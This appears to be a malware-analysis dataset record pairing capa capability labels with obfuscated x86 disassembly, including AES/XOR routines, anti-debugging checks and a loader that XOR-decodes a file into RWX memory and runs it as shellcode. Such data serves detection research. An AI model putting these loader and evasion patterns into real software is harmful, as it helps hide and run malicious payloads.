joyce8/EMBER2024-capa huggingface dataset:
Function at 0xad62ae
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], edx
jmp 0xad62c5
mov eax, dword [ebp + 8]
movzx edx, byte [eax]
movzx esi, byte [eax + 1]
movzx edi, byte [eax + 5]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 2]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 3]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 4]
shl esi, 8
xor esi, edi
movzx edi, byte [eax + 6]
shl esi, 8
xor esi, edi
movzx edi, byte [eax + 7]
shl esi, 8
xor esi, edi
xor esi, dword [ecx + 4]
movzx edi, byte [eax + 8]
movzx ebx, byte [eax + 0xd]
mov dword [ebp - 0x14], esi
movzx esi, byte [eax + 9]
shl edi, 8
xor edi, esi
movzx esi, byte [eax + 0xa]
shl edi, 8
xor edi, esi
movzx esi, byte [eax + 0xb]
shl edi, 8
xor edi, esi
movzx esi, byte [eax + 0xc]
xor edi, dword [ecx + 8]
xor edx, dword [ecx]
shl esi, 8
xor esi, ebx
movzx ebx, byte [eax + 0xe]
movzx eax, byte [eax + 0xf]
shl esi, 8
xor esi, ebx
shl esi, 8
xor esi, eax
xor esi, dword [ecx + 0xc]
mov dword [ebp - 0xc], edi
shr edi, 8
mov ebx, esi
shr ebx, 0x10
mov eax, 0xff
and edi, eax
and ebx, eax
mov ebx, dword [ebx*4 + 0xae1018]
xor ebx, dword [edi*4 + 0xae1418]
mov edi, edx
shr edi, 0x18
xor ebx, dword [edi*4 + 0xae0c18]
mov edi, dword [ebp - 0x14]
and edi, eax
xor ebx, dword [edi*4 + 0xae1818]
mov dword [ebp - 8], esi
xor ebx, dword [ecx + 0x10]
shr esi, 8
mov edi, edx
shr edi, 0x10
and edi, eax
and esi, eax
mov dword [ebp - 4], edi
mov edi, dword [esi*4 + 0xae1418]
mov esi, dword [ebp - 4]
xor edi, dword [esi*4 + 0xae1018]
mov esi, dword [ebp - 0x14]
mov dword [ebp + 8], edx
mov dword [ebp - 0x10], ebx
shr esi, 0x18
xor edi, dword [esi*4 + 0xae0c18]
mov esi, dword [ebp - 0xc]
and esi, eax
xor edi, dword [esi*4 + 0xae1818]
mov esi, dword [ebp - 0x14]
shr esi, 0x10
shr edx, 8
and esi, eax
and edx, eax
mov dword [ebp - 4], edx
mov edx, dword [esi*4 + 0xae1018]
mov esi, dword [ebp - 4]
xor edx, dword [esi*4 + 0xae1418]
mov esi, dword [ebp - 0xc]
shr esi, 0x18
xor edx, dword [esi*4 + 0xae0c18]
mov esi, dword [ebp - 8]
and esi, eax
xor edx, dword [esi*4 + 0xae1818]
mov esi, dword [ebp - 0x14]
xor edx, dword [ecx + 0x18]
xor edi, dword [ecx + 0x14]
mov dword [ebp - 4], edx
mov edx, dword [ebp - 0xc]
shr edx, 0x10
shr esi, 8
and edx, eax
mov edx, dword [edx*4 + 0xae1018]
and esi, eax
xor edx, dword [esi*4 + 0xae1418]
mov esi, dword [ebp - 8]
shr esi, 0x18
xor edx, dword [esi*4 + 0xae0c18]
mov esi, dword [ebp + 8]
and esi, eax
xor edx, dword [esi*4 + 0xae1818]
mov esi, dword [ebp - 0x18]
xor edx, dword [ecx + 0x1c]
sar esi, 1
add ecx, 0x20
dec esi
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], esi
je 0xad663f

Function at 0xae2e32
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg word [esp], ax
xchg edx, eax
jmp 0xae2e3e
mov ch, 0x72
not eax
lea ecx, [0x7fe342cc]
jmp 0xae2e1c
lea esp, [esp + 0xc]
inc esi
mov dx, 0xd66
mov ecx, dword [esp]
mov eax, dword [esp]
jmp 0xae2e88
mov eax, edx
add esi, dword [ebp]
xor ax, 0x3af0
jno 0xae2e70
jo 0xae2ebc
lea esp, [esp + 2]
jmp fcn.00ae2ec6
mov ax, word [esp]
mov cl, 0xf
push bx
jmp 0xae2e95
Function at 0xae4ddc
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf0ad5ba8
jmp 0xae4e21
push ebx
push esp
pushfd
push dword [esp + 1]
jae 0xae4dee
jb 0xae4f11
cmpsb byte [esi], byte es:[edi]
and dh, byte [eax - 0x1c5add29]
sbb cl, byte [ecx + 0x66562414]
mov dword [esp], edx
push esi
mov word [esp], dx
mov dword [esp], edx
push esi
mov word [esp], dx
pop word [esp]
lea esp, [esp + 2]
jmp 0xae4dc5
mov dword [esp + 4], ebp
pushfd
lea esp, [esp]
push dword [esp]
mov word [esp], ax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
jmp 0xae4e17
lea esp, [esp + 4]
pushfd
jmp 0xae4ac3
cpuid
mov si, 0x4ce9
push dword [esp]
mov word [esp], ax
jmp 0xae4dfd
mov dword [esp + 4], ebp
pushfd
lea esp, [esp]
jmp 0xae4e3e
Function at 0xb25304
Capabilities:
Encrypt data using aes

Disassembly:
jmp 0xb25330
mov byte [esp + 2], al
mov dword [esp], ebx
mov dx, ax
jmp 0xb25378
push edi
mov di, cx
jmp 0xb2593b
push ebp
push esi
inc ebx
jmp 0xb25362
xor edx, esi
mov bp, word [esp]
jmp 0xb25530
mov si, bp
movzx esi, byte [eax + 1]
push dx
bsr ebx, edi
lea esp, [esp + 2]
jmp 0xb253a3
xor edx, esi
xchg ebp, esi
inc ebp
jmp 0xb25405
mov di, 0x92cc
lea ebp, [ebx + 0x1a]
mov bl, 0x78
shl edx, 8
jmp 0xb253cb
shl edx, 8
mov bh, byte [esp]
xchg bp, di
jmp 0xb2549d
movzx esi, byte [eax + 3]
sub esp, 0x18
push dword [esp + 0x12]
shr ebp, 1
jmp 0xb253ef
mov dword [esp + 0x14], eax
popal
add edx, 2
movzx esi, byte [edx]
pop edx
jmp 0xb253e1
add ecx, 5
movzx esi, byte [ecx]
pop ecx
jmp 0xb2547d
bsr edx, ebp
mov dword [esp + 0x18], eax
popal
jmp 0xb2542c
movzx edx, byte [eax + 4]
push ecx
pushal
jmp 0xb25442
sub esp, 0x11
lea esp, [esp + 1]
jmp 0xb254c4
shl edx, 8
xor edx, esi
not bl
mov si, 0xcad7
jmp 0xb25467
xor edx, esi
mov bp, 0x1cd2
btr bx, bx
mov dword [ecx], edx
jmp 0xb2545f
shl edx, 8
xor edx, esi
jmp 0xb25502
movzx esi, byte [eax + 6]
sub esp, 0x1d
xchg byte [esp + 8], bl
xchg word [esp + 5], bx
lea esp, [esp + 1]
jmp 0xb254ab
mov dword [ecx + 4], edx
movzx edx, byte [eax + 8]
push edi
jmp 0xb254e8
mov edi, eax
lea edi, [edi + 9]
movzx esi, byte [edi]
pop edi
jmp 0xb2550d
movzx esi, byte [eax + 7]
shl edx, 8
xor edx, esi
jmp 0xb254da
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xa]
jmp 0xb2562c
push edx
pushal
xchg bp, di
and dl, bl
jmp 0xb2541e
pushal
mov ebp, dword [esp]
mov dword [esp + 0x18], eax
popal
jmp 0xb2555b
xor edx, esi
movzx esi, byte [eax + 0xe]
push ecx
jmp 0xb2553c
lea ecx, [ecx + 0xf]
movzx eax, byte [ecx]
pop ecx
shl edx, 8
jmp 0xb25587
movzx edx, byte [eax + 0xc]
movzx esi, byte [eax + 0xd]
shl edx, 8
jmp 0xb25552
xor edx, esi
shl edx, 8
xor edx, eax
jmp 0xb25594
mov dword [ecx + 0xc], edx
mov eax, edx
jmp 0xb255e9
shl edx, 8
xor edx, esi
mov dword [ecx + 8], edx
jmp 0xb2557a
mov eax, dword [eax*4 + 0xae0818]
jmp 0xb2560f
pushfd
lea esp, [esp + 4]
and eax, esi
jmp 0xb255b8
shr eax, 0x10
mov esi, 0xe544e0f3
lea esi, [esi + 0x1abb200c]
jmp 0xb255ce
mov edi, edx
jmp 0xb258fb
lea esp, [esp + 0x48]
xor eax, 0x1000000
pushfd
mov dword [esp], edx
jmp 0xb255f9
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xb]
jmp 0xb255ae
sub esp, 0x1a
call fcn.00b2563a
xor eax, edi
bswap ebp
jmp 0xb25779
lea esi, [esi + 0xae0818]
mov edi, dword [esi]
pop esi
lea esp, [esp + 8]
and edi, 0xff0000
jmp 0xb2565b
bsr di, cx
jmp 0xb256f2
movzx edi, byte [edi*4 + 0xae0818]
lea ebp, [ebx + 0x5b]
mov ebp, 0x59a14290
stc
xor eax, edi
jmp 0xb256b1
btc ebp, edi
jmp 0xb256fd
mov edi, edx
and edi, esi
bswap ebp
mov bp, di
jmp 0xb256dc
push edx
pushal
adc eax, 0x55c604ae
xchg al, ah
jmp 0xb2570c
mov dword [esp + 0x14], edi
call fcn.00b2574a
dec ebp
retf 0x3f58
shr edi, 0x18
not ebp
not bp
sub esp, 2
lea esp, [esp + 2]
jmp 0xb256c7
mov edi, edx
bts ebp, edi
mov ebp, edi
mov ebp, eax
jmp 0xb25723
push esi
mov esi, edi
lea esi, [esi*4]
jmp 0xb2569c
shr edi, 8
and edi, esi
xchg bp, bx
push ecx
jmp 0xb2581f
movzx edx, byte [eax]
mov bh, 0x72
bswap ebx
shl edx, 8
jmp 0xb253b9
Function at 0xb2563a
Capabilities:
Encrypt data using aes

Disassembly:
mov byte [esp + 0x13], al
rcl ebp, cl
lea esp, [esp + 2]
mov ebx, dword [ecx + 4]
jmp 0xb25679
mov ebp, edx
inc bp
lea esp, [esp + 0x1c]
and eax, 0xff000000
mov bp, 0x3a89
jmp 0xb25663

Function at 0xb2574a
Capabilities:
Encrypt data using aes

Disassembly:
sub esp, 2
mov cl, byte [esp]
xchg byte [esp], al
lea esp, [esp + 2]
jmp 0xb25807
lea edx, [edx + 0xae0818]
mov edi, dword [edx]
pop edx
jmp 0xb25759
pushal
lea esp, [esp + 0x24]
popal
lea edx, [edx*4]
jmp 0xb25734
mov ebp, 0xff00
and edi, ebp
xor eax, edi
jmp 0xb257dc
xor eax, ebx
jmp 0xb257bb
mov dword [edi], eax
btc ax, bx
mov eax, dword [ecx + 8]
jmp 0xb25784
mov dword [ecx + 0x14], ebx
call fcn.00b257a5
xor edx, eax
dec bx
bsf ebx, eax
xchg bl, al
jmp 0xb257fb
xor eax, dword [ecx]
lea edi, [ecx + 0x10]
xor ebx, eax
jmp 0xb2579a
lea esp, [esp + 4]
jmp 0xb2531a
mov dword [ecx + 0x1c], edx
mov eax, edi
mov ebx, 0xae201c
jmp 0xb257e5
mov eax, edi
mov ecx, dword [esp]
jmp 0xb25866
mov edi, edx
jmp 0xb2589b
shr ecx, 8
lea edi, [ecx*4]
btr di, cx
jmp 0xb2582e
mov edx, dword [eax + 0xc]
mov ecx, edx
lea edi, [esp - 0x7d15]
jmp 0xb25844
and ecx, esi
call fcn.00b25874
push ebp
mov ebp, edi
lea ebp, [ebp*4]
jmp 0xb258d7
lea ebp, [ebp + 0xae0818]
mov edi, dword [ebp]
pop ebp
stc
pushfd
jmp 0xb2591f
lea esp, [esp + 0x14]
and edi, 0xff000000
push eax
jmp 0xb25909
xor ecx, edi
lea edi, [edx*4]
jmp 0xb25cea
lea esp, [esp + 0x14]
and ecx, 0xff0000
sub esp, 8
sub esp, 0xc
jmp 0xb258e5
lea ecx, [ecx + 0xae0818]
movzx edi, byte [ecx]
pop ecx
sub esp, 0x11
add esp, 6
jmp 0xb25982
push ecx
mov ecx, edi
lea ecx, [ecx*4]
jmp 0xb2594a
mov edi, ebx
jmp 0xb25990
lea esp, [esp + 3]
xor ecx, edi
and edx, ebp
mov di, 0x6f89
jmp 0xb2596c
xor ecx, edx
rcr dh, cl
inc dl
xchg dx, di
jmp 0xb259ef
lea esi, [esi*4]
lea esi, [esi + 0xae0818]
mov edx, dword [esi]
pop esi
shr edi, 0x18
jmp 0xb25960
xor ecx, dword [eax]
cmc
jmp 0xb25a13
lea edi, [eax + 0x10]
lea edx, [edi*4]
shl edx, cl
jmp 0xb259be
lea esp, [esp + 0x10]
xor ecx, dword [ebx]
xchg dh, dl
mov dh, bl
inc di
jmp 0xb259d4
bsf dx, bp
shr edx, 0x1c
lea edx, [ebp + 0xb6a6]
jmp 0xb25a4e
add ebx, 4
mov edx, 0xfbdba0ac
mov dword [edi], ecx
bsr edx, edx
jmp 0xb259fd
popal
add ebx, 4
mov edx, dword [ebx]
pop ebx
cmc
jmp 0xb25a30
xor edx, ecx
call 0xb25a38
inc ecx
mov cx, word [esp]
jmp 0xb25a8f
push ebx
pushal
lea ebp, [edx*4]
mov dword [esp + 0x10], eax
jmp 0xb25a22
mov dword [eax + 0x18], ecx
jmp 0xb25ac4
xor ecx, edx
mov edx, dword [esp]
mov edx, dword [esp]
mov edx, ecx
jmp 0xb25a5d
mov dword [eax + 0x14], edx
mov cx, 0xf279
bswap ecx
mov ecx, dword [eax + 8]
jmp 0xb25a73
mov edx, dword [eax + 0xc]
call fcn.00b25a9d
jne 0xb2531a
xchg ebx, eax
not bh
mov ah, byte [esp]
jmp 0xb25af1
push 0xa
mov bl, 0x6a
mov si, word [esp]
pop eax
jmp 0xb25b00
xchg bx, si
xchg ebx, ebp
bswap ebx
mov bl, 0xdf
jmp 0xb25c76
push ebx
push esi
mov esi, edx
jmp 0xb259a9
mov ebx, dword [esp]
lea esp, [esp + 4]
ret
pop ebp
mov ebx, esp
mov bl, byte [esp]
mov bh, 0x47
mov bl, ch
jmp 0xb25b23
pop edi
mov esi, dword [esp]
lea esp, [esp + 4]
jmp 0xb25b43
mov edi, edx
push ax
lea esp, [esp + 2]
and edx, esi
jmp 0xb25b1a
Function at 0xb25874
Capabilities:
Encrypt data using aes

Disassembly:
mov byte [esp + 2], bl
mov word [esp], di
mov ecx, dword [ecx*4 + 0xae0818]
jmp 0xb258c3
and edi, esi
jmp 0xb258a2
shr edi, 0x10
sub esp, 0x12
pop dword [esp + 4]
mov byte [esp + 3], ch
lea esp, [esp + 2]
jmp 0xb25885
Function at 0xb25a38
Capabilities:
Encrypt data using aes

Disassembly:
sub esp, 2
mov cl, byte [esp]
xchg byte [esp], al
lea esp, [esp + 2]
jmp 0xb25807
lea edx, [edx + 0xae0818]
mov edi, dword [edx]
pop edx
jmp 0xb25759
pushal
lea esp, [esp + 0x24]
popal
lea edx, [edx*4]
jmp 0xb25734
mov ebp, 0xff00
and edi, ebp
xor eax, edi
jmp 0xb257dc
xor eax, ebx
jmp 0xb257bb
mov dword [edi], eax
btc ax, bx
mov eax, dword [ecx + 8]
jmp 0xb25784
mov dword [ecx + 0x14], ebx
call fcn.00b257a5
xor edx, eax
dec bx
bsf ebx, eax
xchg bl, al
jmp 0xb257fb
xor eax, dword [ecx]
lea edi, [ecx + 0x10]
xor ebx, eax
jmp 0xb2579a
lea esp, [esp + 4]
jmp 0xb2531a
mov dword [ecx + 0x1c], edx
mov eax, edi
mov ebx, 0xae201c
jmp 0xb257e5
mov eax, edi
mov ecx, dword [esp]
jmp 0xb25866
mov edi, edx
jmp 0xb2589b
shr ecx, 8
lea edi, [ecx*4]
btr di, cx
jmp 0xb2582e
mov edx, dword [eax + 0xc]
mov ecx, edx
lea edi, [esp - 0x7d15]
jmp 0xb25844
and ecx, esi
call fcn.00b25874
push ebp
mov ebp, edi
lea ebp, [ebp*4]
jmp 0xb258d7
lea ebp, [ebp + 0xae0818]
mov edi, dword [ebp]
pop ebp
stc
pushfd
jmp 0xb2591f
lea esp, [esp + 0x14]
and edi, 0xff000000
push eax
jmp 0xb25909
xor ecx, edi
lea edi, [edx*4]
jmp 0xb25cea
lea esp, [esp + 0x14]
and ecx, 0xff0000
sub esp, 8
sub esp, 0xc
jmp 0xb258e5
lea ecx, [ecx + 0xae0818]
movzx edi, byte [ecx]
pop ecx
sub esp, 0x11
add esp, 6
jmp 0xb25982
push ecx
mov ecx, edi
lea ecx, [ecx*4]
jmp 0xb2594a
mov edi, ebx
jmp 0xb25990
lea esp, [esp + 3]
xor ecx, edi
and edx, ebp
mov di, 0x6f89
jmp 0xb2596c
xor ecx, edx
rcr dh, cl
inc dl
xchg dx, di
jmp 0xb259ef
lea esi, [esi*4]
lea esi, [esi + 0xae0818]
mov edx, dword [esi]
pop esi
shr edi, 0x18
jmp 0xb25960
xor ecx, dword [eax]
cmc
jmp 0xb25a13
lea edi, [eax + 0x10]
lea edx, [edi*4]
shl edx, cl
jmp 0xb259be
lea esp, [esp + 0x10]
xor ecx, dword [ebx]
xchg dh, dl
mov dh, bl
inc di
jmp 0xb259d4
bsf dx, bp
shr edx, 0x1c
lea edx, [ebp + 0xb6a6]
jmp 0xb25a4e
add ebx, 4
mov edx, 0xfbdba0ac
mov dword [edi], ecx
bsr edx, edx
jmp 0xb259fd
popal
add ebx, 4
mov edx, dword [ebx]
pop ebx
cmc
jmp 0xb25a30
xor edx, ecx
call 0xb25a38
inc ecx
mov cx, word [esp]
jmp 0xb25a8f
push ebx
pushal
lea ebp, [edx*4]
mov dword [esp + 0x10], eax
jmp 0xb25a22
mov dword [eax + 0x18], ecx
jmp 0xb25ac4
xor ecx, edx
mov edx, dword [esp]
mov edx, dword [esp]
mov edx, ecx
jmp 0xb25a5d
mov dword [eax + 0x14], edx
mov cx, 0xf279
bswap ecx
mov ecx, dword [eax + 8]
jmp 0xb25a73
mov edx, dword [eax + 0xc]
call fcn.00b25a9d
jne 0xb2531a
xchg ebx, eax
not bh
mov ah, byte [esp]
jmp 0xb25af1
push 0xa
mov bl, 0x6a
mov si, word [esp]
pop eax
jmp 0xb25b00
xchg bx, si
xchg ebx, ebp
bswap ebx
mov bl, 0xdf
jmp 0xb25c76
push ebx
push esi
mov esi, edx
jmp 0xb259a9
mov ebx, dword [esp]
lea esp, [esp + 4]
ret
pop ebp
mov ebx, esp
mov bl, byte [esp]
mov bh, 0x47
mov bl, ch
jmp 0xb25b23
pop edi
mov esi, dword [esp]
lea esp, [esp + 4]
jmp 0xb25b43
mov edi, edx
push ax
lea esp, [esp + 2]
and edx, esi
jmp 0xb25b1a
Function at 0xb25a9d
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 1]
lea esp, [esp + 3]
xor edx, ecx
jmp 0xb25aad
pushfd
mov byte [esp + 2], bh
mov byte [esp + 2], dl
jmp 0xb25ae2
mov dword [eax + 0x1c], edx
lea esp, [esp + 8]
cmp ebx, 0xae2040
jmp 0xb25acc

Function at 0xb25cf9
Capabilities:
Encrypt data using aes

Disassembly:
mov byte [esp + 2], bh
jmp 0xb25d03
xchg byte [esp + 1], bh
movzx ebx, byte [esi + 0x11]
mov ebx, dword [ebx*4 + 0xae0818]
jmp 0xb25d4f
pushal
mov dword [esp + 0x18], esi
popal
mov edx, dword [ecx]
pop ecx
jmp 0xb25d60
lea esp, [esp + 4]
add esi, 0x10
lea edi, [edi*4]
add byte [eax], al
add byte [eax], al
push ecx
jmp 0xb25d33
lea edi, [esi + 0x4a]
mov edi, edx
call fcn.00b25df1
lcall 0xf0c5, 0x19ea8f1f
jo 0xb25d59
xor dword [eax - 0x64], 0x56cffced
ror dword [edi], 0x8e
mov edi, 0x8dfffb0a
dec eax
inc dword [esi - 0x65140a0e]
and ebx, ecx
jmp 0xb25dd6
lea esp, [esp + 0x20]
xor edi, dword [ebx*4 + 0xae1418]
lea ebx, [ebp*4]
bts ebx, ebp
jmp 0xb25e0d
mov dword [esp + 0x1c], ebx
call fcn.00b25e15
movsd dword es:[edi], dword [esi]
and eax, 0xde2fdcb5
aad 0x56
les esp, [ebx + 0xf47bc5e]
mov dh, 0x5e
add dl, byte [eax + 0x60]
movzx ebx, byte [esi + 2]
push eax
pushal
jmp 0xb25df7

Function at 0xb26143
Capabilities:
Encrypt data using aes

Disassembly:
mov edx, dword [edx*4 + 0xae0818]
jmp 0xb2625a
shr edi, 0x18
call fcn.00b26188
push 0xffffffffffffffec
bound eax, qword [0xf97c12f4]
imul ecx, dword [eax], 0xbb5817fb
mov dword [esi + 8], edi
mov ebx, dword [ebx*4 + 0xae0818]
mov edi, edx
jmp 0xb26164
mov edx, dword [edi]
pop edi
cmc
sub esp, 0x15
lea esp, [esp + 1]
jmp 0xb2617a
push edi
mov edi, esi
add edi, 0xc
jmp 0xb261af
and edx, ecx
lea esp, [esp + 8]
xor edi, dword [edx*4 + 0xae1818]
mov edx, eax
jmp 0xb2622c

Function at 0xb261e7
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push dword [esp + 2]
mov edi, dword [edi*4 + 0xae0818]
and edi, ecx
jmp 0xb2618d

Function at 0xb265fd
Capabilities:
Encrypt data using aes

Disassembly:
dec dword [ebp - 4]
mov dword [esi + 0xc], edi
call fcn.00b2628e
push 0xae29cc
jmp 0xb2637c
call fcn.00aedefe
movsb byte es:[edi], byte [esi]
test eax, eax
je 0xad698a
jne 0xb263d5
das
mov bl, 0x23
inc esi
mov ch, 0x40
aaa
mov ah, 0x2a
dec ebp
mov esp, 0xa360215e
fidiv dword [ebx]
cmp al, 0x9d
sbb byte [eax], dl
scasb al, byte es:[edi]
add byte [ecx], ah
retf 0x3c33
xor edi, dword [ebx*4 + 0xae1018]
and edx, ecx
xor edi, dword [edx*4 + 0xae1818]
jmp 0xb2634c
push edi
call fcn.00aee03c
fucompp
test eax, 0xe9fffb05
invalid
mov bh, 1
add byte [eax], al
loope 0xb26448
not byte [ecx - 0x62e66da0]
or eax, 0x6c43a754
jg 0xb2643b
int1
invalid
mov word [esp + 1], si
and ebx, ecx
cmc
lea esp, [esp + 0x1c]
and al, 0x1c
jmp 0xb2639c
sbb esp, edx
jo 0xb26426
xor dword [eax - 0x6e], 0x84fd6def
ja 0xb263e2
cdq
cld
iretd
jmp 0xb2641d
Function at 0xb37998
Capabilities:
Execute anti-debugging instructions

Disassembly:
push esi
jmp 0xb375b0
jmp 0xb3742a
jns 0xad8684
mov cx, 0xa1c9
lea edx, [esi*4]
sub esp, 0x13
jmp 0xb37407
push edi
mov dl, byte [esp]
bsf edx, ebp
mov dx, 0xbf7d
jmp 0xb37452
lea esp, [esp + 3]
mov ecx, dword [ebp - 8]
pushal
lea esp, [esp + 0x30]
jmp 0xb373f1
sub esp, 0x1f
add esp, 0xe
lea esp, [esp + 1]
lea esp, [esp + 0x28]
test eax, eax
jmp 0xb373c2
cmp dx, 0xc9
sub esp, 5
lea esp, [esp + 1]
jmp 0xb37461
and eax, 0x7fffffff
mov dl, 0x63
push 0
mov dx, 0xa507
jmp 0xb3743c
add eax, ebx
mov edx, edi
mov dh, byte [esp]
lea esp, [esp + 4]
jmp 0xb37965
mov dword [edi], eax
jmp 0xb371b2
lea esp, [esp + 8]
add edx, dword [ebp - 8]
call fcn.00af6a3f
jmp 0xb374b2
mov edx, dword [eax]
push dword [eax + 4]
stc
sub esp, 8
jmp 0xb374c8
mov esi, edi
mov ecx, dword [esi]
pop esi
add eax, ebx
jmp 0xb37515
push eax
bswap edx
pushal
mov edx, ebx
call fcn.00b374b0
lea esp, [esp + 4]
push dword [ebp + 8]
jmp 0xb379b4
je 0xad8759
call 0xb37998
adc al, 0x8d
and al, 4
pushal
jmp 0xb379d3
mov dword [ebp - 8], esi
call eax
test eax, eax
jmp 0xb3798c
mov si, bx
rdtsc
sub esp, 0x13
lea esp, [esp + 3]
jmp 0xb379fb
pushfd
lea esi, [esi + 0x66]
mov ax, word [esp]
cld
lea edi, [ecx*4]
jmp 0xb379bd
mov eax, 0x25ff
jmp 0xb37abe
mov edi, dword [ebp + 8]
rdtsc
mov edx, ebp
bsf bx, ax
jmp 0xb379e5
lea esp, [esp + 0x24]
stosd dword es:[edi], eax
mov al, byte [esp]
sub esp, 0xd
lea esp, [esp + 1]
jmp 0xb37a20
mov eax, dword [ebp - 8]
pushal
push dword [esp + 0x12]
neg esi
not esi
jmp 0xb37a36
lea esp, [esp + 0x10]
stosw word es:[edi], ax
sub esp, 0x13
add esp, 0x12
lea esp, [esp + 1]
jmp 0xb37a5f
Function at 0x401020
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xeeeb4
call fcn.0040c1a0
mov eax, dword [0x424b08]
xor eax, esp
mov dword [esp + 0xeeeb0], eax
mov eax, dword [esp + 0xeeeb8]
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push edi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jbe 0x40109a
lea ebx, [ebx]
xor byte [esp + eax + 0x14], 0xe7
inc eax
cmp eax, esi
jb 0x401090
push 0x40
push 0x3000
push 0xeeea8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xeeea8
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call fcn.0040be30
add esp, 0xc
call dword [0x425e88]
push 0
push 0
push 1
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0x64
push 0
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x28]
push eax
call dword [0x425e8c]
test eax, eax
je 0x401115
push 0xffffffffffffffff
push ebx
call dword [0x425e84]
test eax, eax
je 0x401115
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.0040bd67
add esp, 8
mov ecx, dword [esp + 0xeeebc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040bd58
add esp, 0xeeeb4
ret

Function at 0x40bd58
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424b08]
jne 0x40bd62
repz ret
jmp fcn.0041079c
Function at 0x41713f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00410183
and dword [ebp - 4], 0
cmp dword [0x42872c], 0
mov ebx, eax
jne 0x4171f0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4172a1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41faf8
push edi
call esi
test eax, eax
je 0x4172a1
push eax
call fcn.00410111
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42872c], eax
call esi
push eax
call fcn.00410111
mov dword [esp], 0x41fad4
push edi
mov dword [0x428730], eax
call esi
push eax
call fcn.00410111
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x428734], eax
call esi
push eax
call fcn.00410111
pop ecx
mov dword [0x42873c], eax
test eax, eax
je 0x4171f0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410111
pop ecx
mov dword [0x428738], eax
mov eax, dword [0x428738]
cmp eax, ebx
je 0x417248
cmp dword [0x42873c], ebx
je 0x417248
push eax
call fcn.0041018c
push dword [0x42873c]
mov esi, eax
call fcn.0041018c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x417248
test edi, edi
je 0x417248
call esi
test eax, eax
je 0x41723f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41723f
test byte [ebp - 0xc], 1
jne 0x417248
or dword [ebp + 0x10], 0x200000
jmp 0x417281
mov eax, dword [0x428730]
cmp eax, ebx
je 0x417281
push eax
call fcn.0041018c
pop ecx
test eax, eax
je 0x417281
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x417281
mov eax, dword [0x428734]
cmp eax, ebx
je 0x417281
push eax
call fcn.0041018c
pop ecx
test eax, eax
je 0x417281
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42872c]
call fcn.0041018c
pop ecx
test eax, eax
je 0x4172a1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4172a3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x234
mov esi, dword [esp + 0x24c]
mov ebx, dword [esp + 0x248]
xor eax, eax
cmp byte [0x442ba4], 0
sete al
jmp dword [eax*4 + 0x43d498]

Function at 0x402b40
Capabilities:
Hash data using djb2

Disassembly:
xor eax, eax
test ecx, ecx
je 0x402c28
test edx, edx
je 0x402c28
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov dword [esp], ecx
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x402b8a
mov ecx, 0x1505
xor edi, edi
nop
nop
nop
nop
nop
movzx ebx, byte [edx + edi]
test ebx, ebx
je 0x402b91
inc edi
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, ebx
mov ecx, esi
cmp ebp, edi
jne 0x402b70
jmp 0x402b93
mov esi, 0x1505
jmp 0x402b93
mov esi, ecx
mov dword [esp + 4], edx
mov ecx, dword [esp]
mov ebp, dword [ecx + 0x20]
lea ebx, [ebp - 1]
mov edx, ebp
sub edx, 1
mov dword [esp + 0x10], edx
jb 0x402c21
and ebx, esi
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
jmp 0x402bc4
inc ebx
dec ebp
je 0x402c1f
mov eax, ebx
and eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x402c1f
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x402bc0
